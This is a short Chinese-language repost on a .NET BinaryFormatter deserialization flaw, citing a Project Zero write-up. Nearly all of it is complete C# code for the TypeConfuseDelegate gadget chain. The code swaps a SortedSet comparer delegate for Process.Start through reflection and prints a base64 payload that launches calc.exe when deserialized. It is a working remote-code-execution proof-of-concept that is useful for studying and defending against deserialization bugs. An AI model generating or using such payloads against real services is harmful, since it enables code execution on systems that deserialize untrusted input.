千家信息网

.Net反序列化漏洞之BinaryFormatter

发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html.Net反序列化导致RCE的样例,有
千家信息网最后更新 2025年01月19日.Net反序列化漏洞之BinaryFormatter

https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html

.Net反序列化导致RCE的样例,有两点限制:

  1. BinaryFormatter::Deserialize反序列化的内容用户可控
  2. .Net SDK大于等于4.5
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Reflection;using System.Runtime.Serialization.Formatters;using System.Runtime.Serialization.Formatters.Binary;using System.Text;using System.Threading.Tasks;namespace Deserializer{    class Program    {        public static void getCalcPayload()        {            // Create a simple multicast delegate            Delegate d = new Comparison(String.Compare);            Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d);            // Create set with original comparer            IComparer comp = Comparer.Create(d2);            SortedSet set = new SortedSet(comp);            set.Add("calc");            set.Add("adummy");            TypeConfuseDelegate(d2);            BinaryFormatter formatter = new BinaryFormatter            {                AssemblyFormat = FormatterAssemblyStyle.Simple            };            using (MemoryStream stream = new MemoryStream())            {                formatter.Serialize(stream, set);                int position = (int)stream.Position;                byte[] array = stream.GetBuffer();                Array.Resize(ref array, position);                String payload = Convert.ToBase64String(array);                Console.WriteLine("Calc.exe PayLoad:" + payload);                //FileSystemUtils.Pullfile(payload, "payload_calc.dat");                stream.Position = 0;                formatter.Deserialize(stream);            }        }        static void TypeConfuseDelegate(Comparison comp)        {            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",                                    System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);            object[] invoke_list = comp.GetInvocationList();            // Modify the invocation list to add Process::Start(string, string)            invoke_list[1] = new Func(Process.Start);            fi.SetValue(comp, invoke_list);        }        static void Main(string[] args)        {            getCalcPayload();        }    }}

0